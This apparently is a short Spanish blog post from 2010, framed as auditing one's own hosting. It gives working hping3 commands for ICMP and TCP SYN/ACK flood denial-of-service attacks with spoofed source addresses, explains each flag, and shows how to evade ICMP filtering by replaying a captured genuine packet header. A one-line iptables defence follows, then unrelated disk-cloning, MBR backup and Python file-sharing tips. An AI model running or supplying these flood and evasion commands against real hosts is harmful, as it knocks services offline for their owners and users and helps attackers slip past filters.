sábado, 18 de diciembre de 2010

Auditar nuestro hosting

Hacer un ataque DoS y defendernos,  Un ataque DoS (Denial of service / Denegacion de servicio) tiene como objetivo tirar abajo un host temporalmente congelandolo, o definitivamente hasta que se reinicie.
¡Esta es una técnica muy vieja!,

Es posible reducir el ancho de banda disponible de un host utilizando lo que se conoce como ICMP flooding. Esto es una inundación de mensajes ICMP. ICMP es el protocolo de mensajes de control de internet y se utiliza normalmente para verificar el estado de la red.

En este ejemplo utlilizaremos el comando hping3:
Para la instalación de hping3 escribimos en el terminal el comando $ sudo apt-get install hping3
$ sudo hping3 -q -n -a xxx.xxx.xxx.xxx —id 0 —icmp -d60 —flood yyy.yyy.yyy.yyy
-a : direccion ip falsa 
—flood: direccion ip del objetivo.
-q : modo silencioso
-n : sin resolucion dns
—id 0 : solicitud de echo (ping)
-d : el tamaño del paquete (el tamaño normal es 60)

Nota: Algunas configuraciones de sistema automáticamente descartan los paquetes ICMP generados por hping3. Estos son reconocidos por su encabezado. Para evitar este bloqueo es posible usar un snifer como wireshark y capturar algo de trafico icmp real con el fin de obtener un encabezado válido de un paquete ICMP echo request. Una vez capturado lo guardamos como archivo binario y lo usamos con hping3 de la siguiente manera: $ sudo hping3 -q -n —rawip -a xxx.xxx.xxx.xxx —ipproto 1 —file “./icmp_echo_request.bin” -d 64 —flood yyy.yyy.yyy.yyy

Defensa: En caso de que te veas atacado y tengas iptables, una medida rapida es ejecutar el siguiente comando: $ iptables -p icmp -j DROP .Con esto bloqueas todo el trafico icmp.

Ataques TCP, También es posible realizar ataques TCP
$ sudo hping3 -q -n -a xxx.xxx.xxx.xxx -SARFU -p 80 —flood yyy.yyy.yyy.yyy
En este ejemplo el ataque es contra un servidor web (-SARFU son las distintas banderas tcp que estamos usando en el ataque)

Clonar el disco para proteger los datos:
$ sudo fdisk -l
$ sudo dd if=/dev/sda of=/dev/sdb bs=1M
if = El dispositivo donde copiaremos (/dev/sda el disco maestro)
of = El dispositivo donde se copiara (/dev/sdb el disco esclavo)
bs =1M determina que la copia se realizará mega a mega

Para hacer el backup del sector de arranque y de la tabla de particiones:
    $ sudo dd if=/dev/sda of=backup-sda.mbr count=1 bs=512
    $ sudo sfdisk -d /dev/sda > backup-sda.sf
y para restaurarlos:
    $ sudo dd if=backup-sda.mbr of=/dev/sda
    $ sudo sfdisk /dev/sda < backup-sda.sf


Truco para compartir  una carpeta via web, desde en terminal escribimos:
python -m SimpleHTTPServer
Para acceder desde otro ordenador hay que escribir:
http://direccionIP:8000/